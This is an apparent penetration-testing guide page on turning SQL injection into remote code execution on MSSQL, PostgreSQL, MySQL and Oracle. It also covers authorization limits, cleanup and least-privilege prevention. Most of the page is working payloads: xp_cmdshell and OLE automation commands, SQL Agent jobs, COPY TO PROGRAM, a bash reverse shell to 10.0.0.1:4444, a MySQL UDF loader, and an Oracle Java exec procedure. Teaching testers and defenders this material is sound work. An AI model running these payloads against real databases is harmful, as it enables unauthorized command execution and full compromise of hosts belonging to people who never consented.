Skip to content
criticalCVSS 10CWE-89A03:2021 – Injection

Remote Code Execution

The routes from an injected query to a shell on the database host, and which engines hand it to you directly.

Overview

Not every SQL injection reaches code execution, but several engines provide it as documented functionality rather than as a bug. Where the application connects with elevated database privileges, the distance from injection to shell can be a single request.

The routes, roughly in order of directness:

  1. MSSQL xp_cmdshell — a stored procedure whose purpose is running shell commands.
  2. PostgreSQL COPY … TO PROGRAM — executes a command by design.
  3. Oracle Java stored procedures / DBMS_SCHEDULER — heavier, but arbitrary execution.
  4. Webshell via file write — universal where a served directory is writable. See File Read and Write.
  5. MySQL UDF — write a shared object to the plugin directory and register a function.

All of them require privileges the application should not have. When you find one reachable, the finding is not "SQL injection" — it is "unauthenticated RCE", and it should be reported at that severity.

MSSQL — xp_cmdshell

The most reliable path. xp_cmdshell runs a command as the SQL Server service account. It has been disabled by default since SQL Server 2005, but a sysadmin can re-enable it in the same injection — so the default is not a boundary when the application connects as sa.

MSSQL supports stacked queries universally, so this is reachable from any injection point, including ones with no visible output.

Check IS_SRVROLEMEMBER('sysadmin') first. If it returns 1, everything below works.

MSSQL execution paths

SQL
-- 0. Confirm privilege
' UNION SELECT NULL,CAST(IS_SRVROLEMEMBER('sysadmin') AS varchar),NULL-- -

-- 1. Enable and run
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
   EXEC xp_cmdshell 'whoami'-- -

-- 2. Capture output (execution is blind otherwise)
'; CREATE TABLE o(line varchar(8000) NULL);
   INSERT INTO o EXEC xp_cmdshell 'whoami'-- -
' UNION SELECT NULL,line,NULL FROM o-- -

-- 3. Alternatives when xp_cmdshell is removed

-- OLE automation
'; EXEC sp_configure 'Ole Automation Procedures',1; RECONFIGURE;
   DECLARE @o INT;
   EXEC sp_OACreate 'WScript.Shell', @o OUT;
   EXEC sp_OAMethod @o,'Run',NULL,'cmd /c whoami > C:/o.txt'-- -

-- SQL Agent job (works without xp_cmdshell if Agent is running)
'; EXEC msdb.dbo.sp_add_job @job_name='j';
   EXEC msdb.dbo.sp_add_jobstep @job_name='j',@step_name='s',
     @subsystem='CMDEXEC',@command='whoami > C:/o.txt';
   EXEC msdb.dbo.sp_add_jobserver @job_name='j';
   EXEC msdb.dbo.sp_start_job @job_name='j'-- -

-- CLR assembly — stealthiest, survives xp_cmdshell being disabled
'; EXEC sp_configure 'clr enabled',1; RECONFIGURE-- -

PostgreSQL — COPY TO PROGRAM

COPY … TO PROGRAM pipes query output to a shell command, and COPY … FROM PROGRAM reads a command's output into a table. Both execute as the postgres OS user.

This requires superuser or the pg_execute_server_program role (PostgreSQL 11+). It was catalogued as CVE-2019-9193, but the PostgreSQL project's position is that this is intended superuser functionality — it will not be patched away. Treat any superuser-context injection on PostgreSQL as immediate RCE.

PostgreSQL execution paths

SQL
-- 0. Confirm privilege
' UNION SELECT NULL,usesuper::text,NULL FROM pg_user
  WHERE usename=current_user-- -

-- 1. Blind execution
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/o'-- -

-- 2. Execute and read the result back
'; CREATE TABLE o(line text);
   COPY o FROM PROGRAM 'id'-- -
' UNION SELECT NULL,string_agg(line,E'\n'),NULL FROM o-- -

-- 3. Reverse shell
'; COPY (SELECT '') TO PROGRAM
   'bash -c "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"'-- -

-- 4. Untrusted procedural languages (older installs)
'; CREATE EXTENSION IF NOT EXISTS plpython3u;
   CREATE FUNCTION x() RETURNS text AS
     $$ import os; return os.popen('id').read() $$
   LANGUAGE plpython3u-- -
' UNION SELECT NULL,x(),NULL-- -

-- 5. plperlu equivalent
CREATE FUNCTION y() RETURNS text AS
  $$ return `id`; $$ LANGUAGE plperlu;

MySQL — Webshell and UDF

MySQL has no command-execution function. The two routes are indirect.

Webshell via INTO OUTFILE is the common one: write a PHP or JSP file into the document root. Requires FILE, permissive secure_file_priv, and a writable served directory. Covered in File Read and Write.

User-defined functions work when there is no web root to write to. Write a shared library into the plugin directory, then CREATE FUNCTION to expose sys_exec. This needs FILE plus INSERT on mysql, a writable plugin directory, and a .so matching the server's architecture and libc — fragile in practice.

Note that MySQL usually does not support stacked queries, so CREATE FUNCTION must reach the server some other way — typically a second injection point or an application feature that issues its own statement.

MySQL UDF outline

SQL
-- 0. Confirm feasibility
SELECT @@plugin_dir;
SELECT @@secure_file_priv;
SHOW GRANTS;              -- need FILE

-- 1. Write the shared object (lib_mysqludf_sys, hex-encoded)
SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

-- 2. Register
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';

-- 3. Execute
SELECT sys_exec('id > /tmp/o');

-- sys_eval returns output rather than an exit code:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
SELECT sys_eval('id');

-- The plugin directory is normally root-owned and not writable
-- by the mysqld user, which defeats this on any hardened host.

Oracle — Java and DBMS_SCHEDULER

SQL
-- Java stored procedure (needs JAVASYSPRIV / JAVAUSERPRIV)
CREATE OR REPLACE JAVA SOURCE NAMED "Exec" AS
  import java.io.*;
  public class Exec {
    public static String run(String cmd) throws Exception {
      Process p = Runtime.getRuntime().exec(cmd);
      BufferedReader r = new BufferedReader(
        new InputStreamReader(p.getInputStream()));
      StringBuilder sb = new StringBuilder(); String l;
      while ((l = r.readLine()) != null) sb.append(l).append("\n");
      return sb.toString();
    }
  };

CREATE OR REPLACE FUNCTION jexec(cmd IN VARCHAR2) RETURN VARCHAR2
  AS LANGUAGE JAVA
  NAME 'Exec.run(java.lang.String) return java.lang.String';

SELECT jexec('/bin/sh -c "id"') FROM dual;

-- DBMS_SCHEDULER — execution without Java (needs CREATE JOB)
BEGIN
  DBMS_SCHEDULER.CREATE_JOB(
    job_name            => 'j1',
    job_type            => 'EXECUTABLE',
    job_action          => '/bin/sh',
    number_of_arguments => 2,
    enabled             => FALSE);
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('j1', 1, '-c');
  DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('j1', 2, 'id > /tmp/o');
  DBMS_SCHEDULER.ENABLE('j1');
END;

-- Remember: Oracle does not support stacked queries, so reaching
-- these normally requires PL/SQL injection — see /guide/oracle

Authorization and Restraint

Code execution is the point where an authorized test stops being reversible.

Confirm scope explicitly. Standard web application testing authorization does not imply permission to execute commands on infrastructure. Get it in writing, specifically, before running anything on this page.

Prove capability without using it. whoami or a SELECT demonstrating you could run a command is sufficient evidence for a report. A reverse shell is not necessary to prove RCE and dramatically raises the stakes.

Do not escalate laterally without authorization. Reaching the database host does not authorize you to move to anything it can reach.

Restore configuration. If you enabled xp_cmdshell or Ole Automation Procedures, disable them again. Leaving them on hands the next attacker a working escalation path.

Clean up. Drop tables you created, remove files you wrote, delete agent jobs and functions. Document everything in the report so the client can verify.

Report at the right severity. An injection reachable to RCE is not a data-disclosure finding. Say plainly that unauthenticated remote code execution is available and that it should be treated as an emergency.

Prevention

Parameterise to remove the injection. Independently, remove the capability, because these primitives are dangerous regardless of how an attacker reaches them:

Least privilege is the control that matters. Every technique on this page requires database privileges an application does not need. An account with SELECT, INSERT, UPDATE, DELETE on its own schema cannot execute any of them, even with a full injection.

  • MSSQL: never connect as sa or any sysadmin member. Keep xp_cmdshell, Ole Automation Procedures, and clr enabled off, and alert on sp_configure changes.
  • PostgreSQL: never connect as superuser. Do not grant pg_execute_server_program. Do not install untrusted procedural languages.
  • MySQL: never grant FILE. Set secure_file_priv=NULL. Ensure the plugin directory is not writable by the mysqld user.
  • Oracle: do not grant JAVASYSPRIV or CREATE JOB to application accounts. Revoke EXECUTE on DBMS_SCHEDULER from PUBLIC.
  • All: run the database as an unprivileged OS user, on a host with no outbound network access, and monitor for the configuration changes these attacks require. See Defense in Depth.